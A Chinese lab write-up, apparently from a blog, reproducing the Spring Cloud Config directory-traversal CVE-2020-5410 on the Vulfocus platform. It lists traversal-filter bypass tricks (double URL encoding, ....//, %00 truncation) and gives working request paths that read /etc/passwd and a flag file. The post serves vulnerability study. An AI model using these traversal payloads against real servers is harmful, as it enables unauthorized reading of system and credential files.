当前位置: 首页 > news >正文

【漏洞复现-spring-目录遍历】vulfocus/spring-cve_2020_5410

目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

二、漏洞验证

2.1、分析:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:43117

123.58.224.8:20746

 

 

1.2、知识:

1、跳目录

../上一级

(有时候可能需要考虑绕过过滤)

单次过滤:....//

正则匹配斜杠:..%252f(双重URL编码,因为浏览器会解码一次)

起始路径匹配:起始路径+相对路径结合绕过

后缀检测:空字节绕过(%00截断)../etc/passwd%00.png

……

1.3、描述:

Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求,这可能导致目录遍历攻击。



二、漏洞验证

2.1、分析:

对/进行了2次URL编码

/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fpasswd%23foo/development

读取flag文件

/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%23foo/development 

 

相关文章:

  • 800行Python代码实现双十一自动登录抢购商品,这速度女友很爱
  • 数据结构与算法之Python实现——线性表(一)
  • 分别使用BP/RBF/GRNN神经网络识别航迹异常matlab仿真
  • 8.RabbitMQ系列之RPC
  • 2022-10-15 Docker Harbor安装
  • 安装ROS-Academy-for-Beginners教学包时安装依赖的时候老是失败
  • OpenCV实战案例——车道线识别
  • 【Linux】进程控制 创建/终止/等待/替换
  • 【Linux】远程登陆、远程开发以及Vim的使用
  • Java项目本地部署宝塔搭建实战校园二手市场系统源码
  • EMC诊断技术及电磁兼容理论设计
  • 洛谷——【入门1】顺序结构题解
  • 计算机视觉 立体视觉极简一览
  • envoy开发调试环境搭建
  • 多线程轮流打印 ABC
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • 【Under-the-hood-ReactJS-Part0】React源码解读
  • 【剑指offer】让抽象问题具体化
  • Android系统模拟器绘制实现概述
  • CentOS 7 防火墙操作
  • gulp 教程
  • Js基础知识(四) - js运行原理与机制
  • leetcode388. Longest Absolute File Path
  • Linux各目录及每个目录的详细介绍
  • swift基础之_对象 实例方法 对象方法。
  • 动态规划入门(以爬楼梯为例)
  • 技术攻略】php设计模式(一):简介及创建型模式
  • 开年巨制!千人千面回放技术让你“看到”Flutter用户侧问题
  • 浏览器缓存机制分析
  • 双管齐下,VMware的容器新战略
  • 思维导图—你不知道的JavaScript中卷
  • 网页视频流m3u8/ts视频下载
  • 微信支付JSAPI,实测!终极方案
  • 我是如何设计 Upload 上传组件的
  • 译自由幺半群
  • 转载:[译] 内容加速黑科技趣谈
  • Spring第一个helloWorld
  • 组复制官方翻译九、Group Replication Technical Details
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • ​【已解决】npm install​卡主不动的情况
  • # Maven错误Error executing Maven
  • (2021|NIPS,扩散,无条件分数估计,条件分数估计)无分类器引导扩散
  • (M)unity2D敌人的创建、人物属性设置,遇敌掉血
  • (pytorch进阶之路)扩散概率模型
  • (vue)页面文件上传获取:action地址
  • (六)激光线扫描-三维重建
  • (免费领源码)Java#ssm#MySQL 创意商城03663-计算机毕业设计项目选题推荐
  • (十一)c52学习之旅-动态数码管
  • (四) 虚拟摄像头vivi体验
  • (一)python发送HTTP 请求的两种方式(get和post )
  • (转)winform之ListView
  • (状压dp)uva 10817 Headmaster's Headache
  • .NET 4.0中使用内存映射文件实现进程通讯
  • .NET Standard / dotnet-core / net472 —— .NET 究竟应该如何大小写?
  • .net 怎么循环得到数组里的值_关于js数组